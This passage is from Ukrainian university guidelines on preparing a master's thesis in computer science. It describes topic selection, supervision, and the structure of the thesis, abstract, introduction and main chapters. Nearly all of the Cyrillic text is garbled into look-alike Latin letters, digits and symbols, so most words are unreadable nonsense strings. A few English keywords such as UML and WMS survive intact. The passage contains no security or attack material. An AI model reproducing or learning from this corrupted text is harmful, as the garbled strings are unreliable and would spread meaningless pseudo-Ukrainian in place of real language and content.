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BCTYII

KBamidixkariitHoro poOOTOI0 CTymeHs Marictpa € 3akiHueHa caMOCTiiHa Ta
OpuriHajibHa po0OTa, fKa MICTUTh CYKYNHICTh pE3yJNbTaTiB JOCHIIKEHHS Ta
MIOJIO’KEHb, 1[0 aBTOP 3aXHILAE MyOI1YHO. Y poOOTI HEMPUITYCTUMI MOPYIICHHS €THKU
HAYKOBOT'O JOCHIIKEHHS, cepell AKuX: (aabcudikailis HaAyKOBUX JaHUX, HEKOPEKTHI
3all03WYCHHSI, TIOPYIICHHS MPaBUJ HAYKOBOTO LUTYBaHHS, MPUBIACHEHHS UYKHUX
HAyKOBHX 17, CIIOTBOPEHHs HAayKOBUX (DakTiB Ta iled I1HIIMX JOCHIAHHUKIB Ta
pE3yJIbTaTIB BJIACHOTO JOCIIIPKEHHS, BUKOPUCTaHHS HEHAYKOBMX Ta CYMHIBHHX, 3
aKaJeMIgHO1 TOUKH 30Dy, JKepen iHdopMaliii Ta iH.

3mictT  pobOOTH MOXE CKIaJaThcs 3  Pe3yJbTaTiB  TEOPETUYHHUX  Ta
eKCIEPUMEHTAIbHUX JOCHIIKEHb, PO3POOKM HOBHX pIillIEHb, METO/AIB, METOJAUYHUX
MPUIOMIB Ta METOJIMK BUPIIICHHS HAYKOBO-TIPAKTMYHUX 3aJa4 B Taiy3l 1HXKeHepil
IPOrpaMHOro 3a0€3MeUeHHs, a TAKOXK iX TEOPETUUHE OOIPYHTYBAHHS.

KBanigikamiitna po0oTa MOBUHHA CBIIYUTH MPO 3JaTHICTH aBTOpa CAMOCTIMHO
BECTH HAyKOBHUH TOIIYK, BHKOPHUCTOBYIOUM TEOPETHWYHI 3HAHHA Ta MPaKTHYHI
HAaBUYKHM, Oauntu mnpodeciitHi mnpoOiaemMu, BMITH (DOpPMYIIIOBATH  3aBIAHHS
JOCIIIJKEHHS, MI0OMpaTH METOAM 1X BHPILIEHHS, IUIAHYBaTH, OPraHi3oBYBaTH 1
IPOBOAUTU JIOCHI/DKEHHS, IHTEPHPETYyBaTH MOro pe3ynbTatd Ta (HOpMYyIOBaTH
NPAaKTUYHI PEKOMEH Al i BUCHOBKHU.

KBamiikamiitna poboTta mimyisarae o0O0B'SI3KOBOMY — pelrieH3yBaHHw. [l
MIPOBEJICHHS PEIleH3yBaHHs, poO0Ta HAAAETHCSA OJJHOMY a00 JEKIIBKOM PeIieH3eHTaM
13 uncna oci0, 5Kl He € mpaiiBHUKaMu Kadeapu, Ha K1 BUKOHAHO KBamidiKariiiHy
poboty. Penensentamu MOXyTh OyTH (axiBIi-MPAKTHUKW, HAYKOBII, BHUKJIaaadl
3aKJIaJiB BUIIOI OCBITH TOIIO. PeIieH3eHT MpPOBOAUTH aHaNi3 Ta Hajae Ha Kadeapy
MMCHbMOBY PELIEH3110 CTOCOBHO 3a3HAaY€HO1 poOOTH.

Jani  meToau4Hl  peKOMeHAallli BHU3HAYAIOTh  3arajibHi  BUMOTH  JO
KkBamQikamiitHoi poOoTu, i nNpubIM3HY TEMAaTHKy Ta CTPYKTypy, IpaBuia
oopMIICHHS Ta MOPSAIOK MIATOTOBKHA POOOTH /10 3aXHUCTY.

1. Bumoru 10 HanucaHHs kBajigikauiiinoi podoTu

Crpykrypa Ta 3MicT KBamidikaiiiHoi poOOTH MOBUHHI BIAPI3HATUCS YITKICTIO
MoOyI0BM Ta JIOTIYHOIO MOCIIIOBHICTIO BUKJIaJeHHs MaTepiany. I1in yac BUKOHaHHS
poboTH 3100yBady BapTO 3BEPHYTH yBary Ha TOYHICTh ()OPMYITFOBaHb, 110 BUKJTFOYAE
MOKJIUBICTh CYO'€KTMBHOTO 1 HETOYHOTO TPAKTYBaHHS; KOHKPETHICTh MOJaHHUX
pe3ynbTatiB poOOTH. ABTOp 3000B'si3aHMI 3a0€3MEUNTH HOBU3HY MaTepiaiy, Horo
MPAKTUYHY IIHHICTh, TOBHOTY BHUCBITJICHHS PO3TJSHYTHX IHUTaHb, TPABUIbHE
[IUTYBaHHS BUKOPUCTAHOTO MaTepiaidy Ta MOCHJIAHHS Ha JHKeperna.

OCHOBHUMM eTaraMy MiATOTOBKHA Ta BUKOHAHHS POOOTH €:

—  BUOIp Ta 3aTBEPKEHHS TEMU;

—  CKJAJaHHS Ta 3aTBEP/KCHHS 3aBJaHHS HA pOOOTY;

— BHMBYEHHS 33]1a4l Ta OIJIAJ JTITepaTypPHUX JXKEPEI;

— TPOBEAEHHSA AOCIIIKEHb;

—  ONpalIOBaHHS Ta BUKJIAJEHHS PE3yNbTaTiB pOOOTH;
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— ohopMIIeHHS MOSCHIOBAJILHOT 3aMMCKH 10 POOOTH;

—  30BHIIIIHE peleH3yBaHHS KBam(ikauiiHoi podoTu;

—  JIOMYCK ii 0 3aXHCTy mepen ek3ameHaliinor komiciero (EK);
— 3axucT pobotu Ha 3acimanHi EK.

1.1. Bu0ip Temu kBagidikaniiinoi podoru

Tema poboTn Mae BiioOpakaTH OCHOBHY 171€t0, 3aBJIaHHS Ta IOJIOXKCHHS, SKi
HeoOX11HO Aocniautu. Kpurepiem BUOOPY TeMHU JOCIIKEHHS € 11 aKTyaJIbHICTh TO0
CyYacCHHUX TEHJICHIIIN PO3BUTKY creliaibHOCTI 122 « KoM toTepHi HayKn».

Ha3Ba temu moBuHHAa OyTH 4YITKOIO, JIAKOHIYHOIO Ta MICTUTH OJIHO3HAYHE
TiayMaudeHHd. Tema kBamdikaiitHoi poOOTH NOBHUHHA MICTUTH HE OlibIe 15 ciiB.

3akpiiieHHs] TeMU pOoOOTH, NMPU3HAYEHHSI KEPIBHUKA 3aTBEP/KYETHCS HAKA30M
PEKTOpA M0 YHIBEPCUTETY.

1.2. Ilopsinok BUKOHAHHS KBaJidikauniiinoi podoTu

3n00yBaui, sKi HE MalOTh akaJeMIYHOI 3a00proBaHOCTI, HAaKa30M IO
YHIBEPCUTETY JOMYCKAIOTHhCS /0 BUKOHAHHS Ta 3aXHUCTy KBadiQiKaiiiHOI poOoTH
BIJIMOBITHO /10 HABYAJIBHOTO TUIAHY.

KepiBHUKOM poOOTH MpU3HAYAETHCS BHUKIA/Nay, SKAA Ma€ HAYKOBHM CTYIMIHb
JIOKTOpa 200 KaHAMIaTa HayK, BYeHE 3BaHHs mpodecopa ado JOIeHTa.

KepiBauk pobGotu 31 3m00yBadem ckiangae 3aBnanHs ([Jomarok bB) 1o
KBaiQikaiiitHoi poOOTH, 1110 3aTBEPKY€EThCA 3aBiIyBaueM Kadeapu.

1.3. CkaanoBi kBasidikauniiinoi podoru

Kpaniikamiitna poboTta Mae y CBOEMY CKJIaJl MOSICHIOBAJIbHY 3alHUCKy 1
MPE3CHTAIlI0  (JIEMOHCTpAIiiHUK MaTepian) s gomoBiai Ha 3aciganHi  EK.
[TosicHIOBasIbHA 3aMKCKa BUKOHYETHCA JIEPKABHOIO MOBOIO. PekomeHmoBaHuii o0csr
OCHOBHOI YAaCTHUHHU TIOSICHIOBAJIBHOI 3amUCKH Marictepcbkoi pobotu (Posninm)
MOBUHEH CTAaHOBUTU HE MeHIe 60 CTOPIHOK APYKOBAHOTO TEKCTY (KOMIT IOTEPHOTO
HaOoOpy), KUl HE BKIIOYAE BCTYI, BHUCHOBKH, CITUCOK BUKOPHUCTAHUX JDKEpEN Ta
JOJTaTKH.

[TosicHioBasibHA 3amucka Mae OyTH YITKO CTPYKTYPOBAHOK 13 JOTpPUMaHHSIM
BUMOT 11100 O(OPMJICHHS Ta BKJIIOYATH:

— TUTYJbHHU apkyir (auB. JlomaTtok A);

— 3aBJaHHS Ha KBajidikauiiHy podoTty Marictpa (auB. lonarok b);

— pedepat yKpaiHChKOIO Ta aHTIiChKOI0 MoBamH (muB. JlogaTok B);

_ ImepeliK yMOBHUX MO3HAa4YeHb (3a HeoOXinuicTio) (aus. Joxarok I);

— 3wmict (nuB. JlomaTok [I);

— Bctyn (2-3 crop.);

— OCHOBHA 4YaCTHHA, SIKa BKJIIOYA€, SIK OCHOBHI PO3UIM, L0 CKIANAIOTHCA 3
MYHKTIB Ta MiMyHKTIB;



— BUCHOBKU;

— CNHCOK BUKOPUCTAHUX JIXKEPET;

— JIOAATKH.

TuTyJAbLHMI APKYII € TIEpPIIo0 CTOPIHKOIO pOOOTH Ta MICTHTh HACTYIHI
BIJTOMOCTI:

—  Ha3By 3aKJIaJly BUIIOI OCBITH, (paKynIbTeTy, Kadeapu,

— TeMy KBamdikauiiHoi podboTH;

—  TIpi3BHUIIE, IM's, T0-0aTHKOB1 aBTOpPa, KypCy, TPYIH;

—  TIpi3BUIIE, 1HIIIAM HAYKOBOTO KEPIBHHKA, HOTO BUCHE 3BaHHS Ta HAYKOBHM
CTYIIiHb, 3aiiMaHa M0cajia;

—  MICIIE Ta PiK HAIlMCaHHS POOOTH.

Hywmepatiisi CTOpiHOK Ha TUTYJILHOMY JIUCTI HE CTaBUThCS, ajie y 3arajibHy
HYMEPALIII0 BKIFOYAETHCS.

3aBIaHHA HA BUKOHAHHA KBaJdiQikaniiiHOi po00TH € Ipyror CTOPIHKOIO
KBamiQikaiiitHoi poOOTH Ta MICTUTh HACTYIIHI BIJOMOCTI:

— JaHl Opo TeMy poOoTH;

— TIJICTaBH JJIsI IPOBEJICHHS POOOTH;

— MeTa Ta BX1JH1 JaHi JJI MPOBEICHHS pOOOTH;

— OUIKYyBaHi pe3yJbTaTu;

— BHUMOTH JI0 pe3yJIbTaTiB BUKOHAHHS POOOTH;

—  eTamu BUKOHAaHHS PoOOIT;

— peamizarllisi pe3yiabTaTiB Ta €pEKTUBHICTH;

— JI0AATKOB1 BUMOTH.

3aBOaHHS MIJNUCYETHCS KEPIBHUKOM, 37100yBauyeM, KOHCYJIbTAaHTAMU Ta
3aTBEPIKY€EThCS 3aBilyBaueM kadenpu (nogatok b).

Pedepar BHKOHYeTbCS YKpaiHCHKOIO Ta AHIMNIIMCHKOIO MOBamH, 00’emoMm 1
CTOpIHKA Ta MICTUTD 3arajbHy XapaKTEPUCTHKY IMOCTABICHOTO 3aB/IaHHS, BUKOHAHOI
poOOTH Ta onmucaHHs OTpUMaHuX pe3yibTatiB ([Jonaroxk B). Bukmanenns marepianyy
pedepaTi TOBMHHO OYTH CTUCIUM Ta TOYHMM. HEOOXiTHO BUKOPHCTOBYBATU
CTaHapTU30BaHy TEPMIHOJIOT1I0, YHUKATH MAJIOBIIOMUX TEPMIHIB Ta CUMBOJIIB.

Pedepar noBuHEH MICTUTH HACTYIIHI CKJIa/I0BI:

— TOSICHIOBaJIbHA 3aITMCKA;

— 00 €KT JOCIIKEHHS;

—  TOpeaMET JOCTiHKEHHS,

— MeTy poboTH;

— METOIH JIOCHIJKEHHS,

—  HOBHU3HY 3aMpPOMOHOBAHUX PIIICHB;

— TPaKTUYHY LIHHICTB;

— 00yacTh 3aCTOCYBaHHS,

— 3Ha4YeHHs pOOOTH Ta BUCHOBKH;

— MepeiiK KIIOUYOBUX CIIB.

IHosicHIOBaJIbHA 3alIUCKA MICTUTh B1JIOMOCTI MPO 3arajibHy KUIbKICTh CTOPIHOK,
KUIBKICTh UIFOCTpaIliid, TabiuIlb, MOAATKIB, KIJIBKICTh JHKEpEN 3TiJTHO 3 IepeikKoM
MIOCHJIaHb (B1JIOMOCTI HABOSTH, BKIIFOYAIOUHN JIaH1 TOAATKIB).



O0’exT HoCaiaKeHHsT — 11e Tpoliec a00 SBUIIE, 1110 CTBOPIOE BUBUCHY aBTOPOM
POOJIEMHY CUTYAITIIO Ta ICHYE HEe3aJIEKHO BiJ] JOCTITHUKA.

Lpuxnao:

— 00'€eKTOM JIOCTIKEHHS € TIpoIieC 0OpOOKH HU3BKOHTPACTHUX 300paKeHb.

IIpenmMeTroM JOCTiIKEHHS] MariCTepcbkoi poOOTH € KOHKpeTH3allisi 00’€KTa
JOCTIDKEHHS, y JaHOMY BHUIIAJKy, MaTemaruyHa (iHdopmarliiiHa, CTPYKTypHa,
JoTiYHA Ta 1H.) MOJENb Tporecy (00’€KTy, SBHUINA), TCOPETUKO-TIPUKIAIHI 3acaan
CTBOpEHHS Ta / ab0 3aKOHOMIPHOCTI (PYHKIIIOHYBaHHSI Ta PO3BUTKY 00'€kTa, HOTrO
SIKOCTI1, BIIACTUBOCTI TOIIO. [IpeamMeT qociaKeHHsI MICTUTBCS B MEKaxX 00'€kTa Ta Mae
3 HUM Oe3mnocepeiHii 3B’ A30K.

Ilpuxnao:

— [peaMeT AOCHIDKEHHS — MOJelll Ta METOAM CTBOPEHHA Ta BHOODPY
apXITEKTYp XMApHUX CUCTEM.

Meta po60oTH — 11€ TTIICYMKOBUH pe3yabTaT PO3B’I3aHHS CYKYITHOCT1 TEOPETUKO-
NPUKIIAIHUX 3aBJaHb BIJIMOBIHO JO y3arajJbHEHOTO0 00’€KTa JISJILHOCTI Ha OCHOBI
3aCTOCYBaHHS CHCTEMH TEOPETHYHUX 3HAHb 1 MPAKTUYHUX HABUYOK 3J00yTHX Yy
mporeci BChOTo mepioAgy HaBuaHHS. OCHOBHA MeTa POOOTH MOJIATAE B TIIHMOOKOMY
(metayi30oBaHOMY)  BHUBYEHHI  KOHKPETHOTO  JIOCHIJHOTO  3aBJaHHS  3aJIs
OOTpYHTYBaHHSI TEOPETUKO-TIPUKIIATHUX ILISAX1B HOTO BUPIIIICHHS.

Ilpuxnao:

— METOI0 poOOTH € MIJBULIEHHS JOCTYITHOCTI XMApHUX CEPBICIB Ha 0a3l KIII€HT-
CEpBEPHOI Ta OTHOPAHTOBOI PO3MOICHOI XMapHOT apXITEKTYPH 32 paXyHOK PO3POOKH
1 BUKOPHUCTaHHS METOMIB 1 MOJEJICH I1HTEICKTyaabHOI MPEAUKATHBHOI aHaJITHKH
JTAHUX.

Metoau pocaigxennsi. TyT mnepeniuyroTh, sIKI HAyKOBI MiAXOAu OyJio
BUKOPHCTAHO JIJISl TOCATHEHHS MTOCTaBJICHOI B poOOTI MeTH. XapaKTEePUCTUKAKOKHOTO
METOJy Ma€ TOB’A3yBaTUCh 13 3MICTOM POOOTH, TOOTO CIiJ CTHCJO, aje MO CYTI
OTIMCATH, SIKI caMe 3aBJIaHHsI TOCITIKYBaAJIH 3a JOIIOMOTOIO TOTO YH 1HIIIOTO METO.TY.

Ilpuxnao:

—  METOIW MAOCHiDKCHHS 0a3yroThCSd HAa OCHOBHHUX NPHHIIMIAX CUCTEMHOTO
aHamizy, (PyHKIIOHAJILHOTO aHaji3y, Teopii 0araTOBUMIPHUX MOJENEH JaHuX, Teopii
0a3 ganux. BukoprcraHo METOM CTPYKTYPHOTO MOJICTIOBAHHS, TCOPETUYHI OCHOBHU
MPOCKTYBaHHS PENAIIMHUX Ta OaraTOBUMIpHHX 0a3 JaHUX, TEOPETHUYHI OCHOBH
MOoOY/IOBU CXOBHII JAHUX, OCHOBH 0OaraTOBUMIPHOTO Ta IHTEIEKTYaJIbHOTO aHai3y
JTaHUX;

IIpakTHYHA WiHHICTHL — II€ MOXJIMBICTh BUKOPHUCTAHHS PE3yIbTATIB pOOOTH
JUTsl BUKOHAHHS TIEBHUX 1HKCHEPHUX 3aBJaHb.

Ilpuxnao:

[IpakTUyHa IIHHICTH PE3YHTATIB MOJISITAE B TOMY, 10 B pE3yJbTaTI MMPOBEACHUX
JTOCIIKEHb PO3pOOJICHO 1HCTPYMEHTAJIbHHUM 3aci0, 110 J03BOJIIE aBTOMATHU30BAaHO
MPOBOJUTH PO3PAXYHKH L1010 BU3HAYEHHS KUIbKICHUX MapameTpiB sl KOEQILIEHTY
e(EeKTUBHOCTI — CTPYKTYpPHO-(YHKIIOHATBHY CKJIQJHICTh JOMEHHOTO MOJIEITIOBAHHS
Ta PiBEHb MOBTOPHOTO BUKOPUCTAHHS KO .



3HayeHHsT po0OTH Ta BHCHOBKHM. Y BHCHOBKAax IIOJAIOThCS Yy3araJbHEHI
YMOBUBOJIM, /€1, TYMKH, OIIIHKH, IPOIO3UIl MaricTpaHTa, IO IiJATBEPIKYIOThHCS
KUIbKICHUMH OI[IHKaMH.

Ki11040BMM €J10BOM Ha3MBA€ETHCA CIIOBO a00 CTIMKE CJIOBOCHONYUYEHHS 13 TEKCTY
pedepaty, ke 3 mOMIAY 1HPOPMAIIHOTO MONTYKY HECE CMHUCIOBE HABAHTAKEHHSI.
[lepenik KIIOYOBHX CIiB TOBHHEH BIJOOpa)kaTH 1M03a KOHTEKCTOM OCHOBHHUH 3MICT
poOoTH. 3aranpHa KUJIbKICTh KJIIFOUOBUX CJIiB IOBUHHA CTAHOBUTU HE MEHILE TPhOX Ta
He OUIbIIE IBAJIISTH.

Kiro4oBi cinoBa 1momaroTh y Ha3MBHOMY BIJIMIHKY, APYKYIOTh B PSIOK, 4epe3
KOMY.

Ipuxnao. COMPUTER-AIDED SOFTWARE ENGINEERING, RGB, UML,
WCS, WFS, WMS.

Ilepenik YMOBHHX MO3HAYEHb MICTUThH MOSCHEHHS 10 BUKOPUCTAHUX y TEKCTI
poOOTH cCrHeniaibHUX TO3HAY€Hb, CHUMBOJIIB, MaJIOBIJIOMHX CKOpPOYE€Hb, OJWHUIIb
BUMIpIOBaHHA TowO. J[aHuil nepemk mMae OyTu oOpMIIEHHI HA OKpEMOMY apKylili
3BITY Y BUIJIAJIl CIIUCKY, B SIKOMY JIIBOPYY MICJs a03allHOTO BIACTYITY B aln(aBITHOMY
MOPSIKY HABOJATHCS yYMOBHI IMO3HAYEHHS, a MPaBOpPydY — iX MOBHE TIyMadeHHS.
CrouaTky HaBOASTHCS TTO3HAUEHHS YKPATHCHKOTO andasiTy, MOTIM — JIATHHCHKOTO Ta
I'PELBKOTO.

[Tpuxnan opopmiieHHs HepeaiKy YMOBHHUX IO3HaueHb HaBeaeHo y Joxarky I

3MmicT poOOTHM BHU3HAYAETHCS 1i TEMOIO Ta BiOOpakaeTbcsa B IUIaHI, IO
3aTBEPJIKYETHCS] KEPIBHUKOM, PO3MIITY€ETHCS MICIS TUTYJIBHOTO apKyIa.

3MICT MICTUTH MOCHIZOBHO MEpeIiueHl Ha3BH YCIX PO3UTB, MiAPO3IUIIB Ta
MYHKTIB, SIKIIIO BOHW MalOTh 3ar0JIOBOK (BCTYII, OCHOBHY YaCTUHY, BACHOBKH, CIICOK
BUKOPUCTAHUX JIKEPEIN, TOAATKH). 3MICT HE MICTUTh 3aBJaHHs, pedepary, NepeiKy
YMOBHHX TIO3HAYEHb.

HaliMeHyBaHHSI BCI1X CTPYKTYPHHX YAaCTHH 3alUCKHU Y 3MICTI 3alIUCYIOTh MaJIUMU
JiTEpaMH 3 MEPIIOi MPONUCHOI, HAWMEHYBaHHS PO3JUIIB, MIAPO3ILIIB Ta MYHKTIB —
pa3oM 3 IXHIMH TMOPSAKOBUMH HOMEpaMH, HaMEHYBaHHsS JOAATKIB — pa3oM 3
BIMOBIIHUMH TIO3HAYCHHSIMH Ta HalMEHYBaHHAMHU. 3aKiHYCHHS HaWMEHYBaHb
€JIEMEHTIB BIJOKPEMIIIOIOTHCS BiJl HOMEPIB CTOPIHOK KpanmKaMH.

[Tpuknan opopmienns 3micty HaBeaeHo y Jlogatky /1.

Berynna yacTuHa po0OTH TOBMHHA MICTUTH BIJJOMOCTI TPO 3aaady, IIMo
notpebye BUPIIIEHHS, Ta Cy4yaCHUH CTymiHb 1i JociijkeHHs. Ha ocHOBI maHux
BITIOMOCTEIl OOIPYHTOBYETHCSI aKTyaJbHICTh OOpaHOi TEMH, BKa3y€ThCSl HOBH3HA
3aIpPOTNIOHOBAHMX PIIICHH TA MPAKTUYHE 3HAYEHHS POOOTH.

AKTYaJBHICTh TEMH TMOJAETHCS Y BUIJISAI KPUTUYHOTO aHAI3Y 1 JOTTYHOTO
y3araJbHEHHS Ta HampsMiB pO3B'SI3aHHA 3a/Jadl, OOIPYHTYBaHHS HEOOX1IHOCTI
MIPOBEICHHS TOCIIKCHb.

Meta Ta 3aBIaHHS AOCJTIIKEHHS MOBUHHI OYTH YITKO COPMYJILOBAHUMH Ta
B1I00OpakaTu TEMATUKY JTOCI1IKEHHS.



O00'exT gociixKeHHs: poOOOTH — 11€ TIpoliec a00 SABUIIIE, III0 CTBOPIOE MPOOIEMHY
CHUTYaIlil0, OOpaHy JJisl BUBYCHHS.

IIpeamerom pnociigxkeHHss poOOTH € MaTeMaTU4YHA MOJENb 3aaadi  abo
3aKOHOMIPHOCTI (DYHKIIIOHYBaHHS Ta PO3BUTKY 00'€KTa, MOT0 SKOCTI, BJIACTHUBOCTI
tomo. [IpenMeTr qocimiKeHHS MICTUTBCS B MEKax 00'€KTa.

Y BCTyIll 3a3Ha4alOTh METOMHU, SIKI 3aCTOCOBaHI JAJISi 3HAXO/HKEHHS PO3B’SI3KIB
MOCTaBJICHUX 3a]1a4 Ta MPOBEACHUX JOCIIIKEHb.

Beryn mMoske MICTUTH BIOMOCTI IpO ampoOariiro pe3yiabTaTiB poOOTH: Ha3BU
cTaTei, Te3 IOTOBIICH, M ATOTOBICHUX 3a MaTepiajJaMu poOOTH, BUCTYITH Ha HAYKOBO-
NPAKTUYHUX KOH(EPEHITisX.

Heo06xiaH0 BiJI3HAYNTH HOBU3HY a00 MPAaKTUYHY 3HAYYIIICTh poOoTH. EnemenTn
HOBU3HM TMOBUHHI MaTH y3arajibHIOIOUMM XapakTep Ta MICTUTH BJIacCHI BUCHOBKHU Ta
peKoMeHaalli 3 MPeAMETY JOCIIHKEHHS.

[IpakTiyHa IIHHICTH MOBHUHHA MICTUTH PE3YJIbTaTH CAMOCTIMHO IMPOBEICHUX
JOCIIJIKEHb, 10 MOXYTh OYTH BIPOBAJKEHI y BUPOOHUIITBO, [ISIIbHICTD
MIPUEMCTB, YCTAaHOB Ta OpraHi3allii.

VY BCTyIi MO>KHA HABECTH OIKC CTPYKTYPH POOOTH, BKA3aBIIM KUIbKICTh PO3JILIIB
Ta iIX KOPOTKHM OIHC.

OO6csr BCTyITy MOBUHEH OyTH 2-3 CTOPIHKU Ta MaTH HACTYIIHY CTPYKTYpPY:

—  aKTyaJIbHICTh TEMU;

— MeTa Ta 3aBaaHHA (200 3a7a4i) JOCTIKEHHS;

— 00 €KT IOCHIJKESHHS,;

—  TpeaMeT AOCIIKCHHS;

— METOJIH JOCIIIKECHHS;

— HOBHW3HA 3alpPOTIOHOBAHMX PIllICHB;

—  TpaKTUYHE 3HAYCHHS,

—  0COOHMCTHIT BHECOK aBTODA;

—  CTPYKTYpY Ta oOcsr kBamidikaiiitHoi poboTu;

TekcT BCTyny HE MOAUISIOTH HA MTyHKTH.

OCHOBHA YaCTHMHA TOSICHIOBAJIBHOI 3amMUCKA pPOOOTH TIOBMHHA MICTUTH
MOCTAaHOBKY 3aBJIaHHSI, OMUC PO3POOJIEHOI MAaTeMaTHYHOI MOJENi, OOIPYHTYyBaHHS
METOJMKHU JIOCTI/PKEHHS, OIKC 3aCTOCOBAaHUX aJTOPUTMIB PO3B’SI3aHHS 3ajadi,
pe3ynbTaTiB 0O0YUCITIOBAIBHUX EKCIEPUMEHTIB, MOPIBHSIBHI OI[IHKA PO3pPOOJIECHUX
QITOPUTMIB 13 ITHITUMH, BIIOMUMHU B HAYKOBIU JIITEpaTypi, a TAKOK BCEOIUHUI aHAII3
OTPUMAaHUX PE3yJbTaTIB Ta 3aKOHOMIPHOCTEH.

OcHOBHA YaCTHHA POOOTH CKIIATAETHCS 3 PO3LTIB (TEOPETUKO-METOJOIOTI THHH,
JOCT AHAIIPKO-aHATITHYHUH, TPOEKTHO-PEKOMEHAALIMHNN) Ta MiAPO3IUTIB, SKi
MaloTh OyTH B3a€MOIOB'SI3aHI, a MaTepiajdl — BUKJIaIEHUM MOCITiOBHO Ta JIOT14HO, 3
KPUTUYHUM aHATI30M TEOPETUYHHUX IOJIOKEHb, CTATUCTHYHUX JaHUX, 1HMOpMaIlii
PI3HOMaHITHOTO XapaKTepy TOIIIO.

Y nepmomy po3aijii OCHOBHOI YacCTHHH PO3TJSAAIOTHECA TEOPETHYHI Ta
METOJIOJIOTIYH1 aCMeKTH MOCHIIPKYBaHOI 3ajadi, aHAJNITUYHUNA OTJIAJ JITepaTypHUX
JDKepen 3 TpeaMeTra JOCHIDKEHHS, KPUTHYHO aHaNI3yIOThCSl pI3HI MOTJISAH,
3MIACHIOEThCS 1X HaykoBa KiacHuikallis, OCHOBHI (paKTOpW BIUIMBY Ha CTaH Ta
PO3BUTOK JOCHIIKYBAaHOTO 00'€kTa TOII0. TeopeTuuHe OOTpyHTYBaHHS, CyTh,
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3HA4YCeHHS, KIacu(DiKalliitHl XapaKTEPUCTUKH, 1ICTOPIS Ta TEHEHIIIT PO3BUTKY MpeIMeTa
MOCHIJUKEHHSI, METOJOJIOTYHI IMAXOAW IIOBHMHHI MATH €JIEMEHTH ITOJIEMIYHOCTI,
PO3KpUBATH BIIACHY TMO3MIHI0 MIOJ0 MpeAMETa JOCHIJKEHHS, IO CTBOPIOE
nepeayMOBU IS MPOBEACHHS Y HACTYITHOMY PO3/IiJIi BIACHUX HAYKOBHUX JIOCIII>KEHb.

Jlns koHcTatamii Ta OOIPYHTYBaHHS 3arajbHOTECOPETUYHMX BHCHOBKIB Ta
TEHJCHIIIM JIOIJIbBHO BUKOPUCTOBYBAaTH [laHi, OIyOJIIKOBaHI Yy BIAMOBIAHHUX
CHIMKJIONEAISIX, MOHOrpadisix, AOBIIHUKAX, 3apyOLKHHMX JKEpesiax Ta BHIAHHSX.
Axmo poboTa Mae TEOPETHYHHMMA XapakTep, TO Y TMEPIIOMY PO3IUTL JIOIIIBHO
chOpMyITIOBaTH MaTEMATUIHY MOJIETh Ta TPOBECTH OIS MATEMAaTUIHUX METO/IIB, SKi
BUKOPUCTOBYIOTHCS ISl PO3B’si3aHHs 3aj1ayl. KpiM TOro, Mo>kHa HaBECTH MPUKIAIH
MIJIXO0/IIB /10 BUPIIMICHHS MOAIOHUX 3a7a4 Y MUHYJIOMY, MOYEPIHYTI 3 JITEpPaTypHUX
JUKEpeIL.

Aximo K poboTa MPUKIATHOTO XapaKTepy, TO B MEPIIOMY PO3JUTL JOIIBHO
MPOBECTU CUCTEMHHUH aHali3 MpeAMETHOI O0JacTi Ta JETAJIbHUM OIHKC CKJIaI0BUX
KOMITOHEHTIB CUCTEMHU.

Y Apyromy po3aijii CTyJIeHT, BAKOPUCTOBYIOUM (PaKTHUHUI MaTepiall Ta 310pany
1H(pOopMaIlito, aHai3ye Ta PO3KPUBAE 3MICT MMUTAHb, SIKI MOTPEOYIOTh BUPILIECHHS. Y
JAHOMY PO3JLIl  TMPOEKTYIOThCS CHCTEMHI 3B’SI3KM Ta alTOPUTMHU BHPIIIECHHS
JOKanbHUX 3an1ad. JIJisi 1bOro BUKOPUCTOBYIOTH K BJIACHI JOCIHIJKEHHS aBTOpa
(mpoBeneH1 paHimie y kBamidikaiiiiHii poOOTi, HAYKOBO-IOCIIIHUX POOOTaxX TOIIO),
TaK 1 17ei, METOJIMKHU Ta aITOPUTMHU HaBEJIeHI B MiApYYHHUKaX, TOCIOHUKAX, HAYKOBUX
CTaTTSX Ta MOHOTpadisx.

SAxio podoTa Mae TEOPETUUHUM XapaKTep, TO B IIbOMY PO3JLII AOLLIEHO HABECTH
HAalHOBILI HAyKOBI 17€i B JaHId HAyKOBIA Taily3l Ta MNPUKIAAU BIINOBIIHUX
PO3PAXyHKIB.

Skmo pobora Mae mNpuUKIaAHUN Xapaktep, (Hampukian, iHQopmMalliiHo-
JIOBIJIKOBA YW KOHTPOJIbHO-HABUarO4Ya CHUCTEMH), TO IOIIJIBLHO HABECTH AJITOPUTM
pO3B’sI3yBaHHS, JOCTATHIO KUIBKICTh TaONMIb Ta JlarpaM, SKi UIIOCTPYIOTb
JOCITIKYBaH1 TPoOJIEMH Ta METOIMKY 1X BUPIIIICHHS.

TpeTiii po3ia MiCTUTB AEKIJIbKA B3aEMOTIOB'I3aHUX ITAPO3/IUIIB, B SIKUX HAJaHO
KOHKPETHI HayKOBO OOTPYHTOBaH1 MPOIO3HIIii, MPOSKTH 1HHOBAIIIMHOTO XapaKTepy.

B nmaHomy posminmi  TeopeTHyHOi poOOTH HEOOXIHO BUCBITIIMTH CYTh
OpUTIHATBHUX 17Iel Ta po3poOoKk aBTopa. HeoOXimHO HaBeCTH pe3yJbTaTh BIACHUX
JOCIIJIKEHb, K1 LTIOCTPYIOTh MPAKTUYHY IIHHICTH METOJUKH aBTOpa 1 JO3BOJISIOTH
MOPIBHATH 11 3 1HIIUMU METOAUKaMHU. B TpeThoMy po3/iii Ciij JeTadbHO OMHCATH
po3po0JieHy MporpaMmy, HaBECTH IHCTPYKLIIO MIOJ0 1i BUKOPUCTAHHS, MPUBECTH
pe3yabTaTH MPOBEACHUX JOCTIIKCHD Ta YUCEIHbHUX SKCTICPUMCHTIB.

Y BucHOBKaX KpamidikaiiifHoi poOOTH HABOAITHCA MIACYMKH ITPOBEICHOTO
JOCITIJIKEHHS, OJIep)KaHl HAYKOB1 Ta MPaKTUYHI PE3ylbTaTH, PEKOMEHIAII MO0 1X
HAyKOBO-TIPAKTUYHOTO BUKOPUCTAHHSI.

Cnucok BUMKOPHMCTAHMX JIZKepeJ, 3T1IHO 3 MII0YMMH CTaHAapTaMH, BKIIOYAE
JUKepenia, Ha SIKi B TEKCTI € MOCUJIaHHS, a TAKOX Ti, SIKI BAKOPUCTAHO NP BUKJIAJECHH]
KOHKPETHUX TMOJoXeHb. Jlkepenamu iHGoOpMallii MOXKYTh pO3IIISLIATUCS CTaTTI,
navcepraiii, MoHorpadii, HOPMAaTUBHO-TEXHIYHI JOKYMEHTH, TEXHIKO-€KOHOMIiYHI
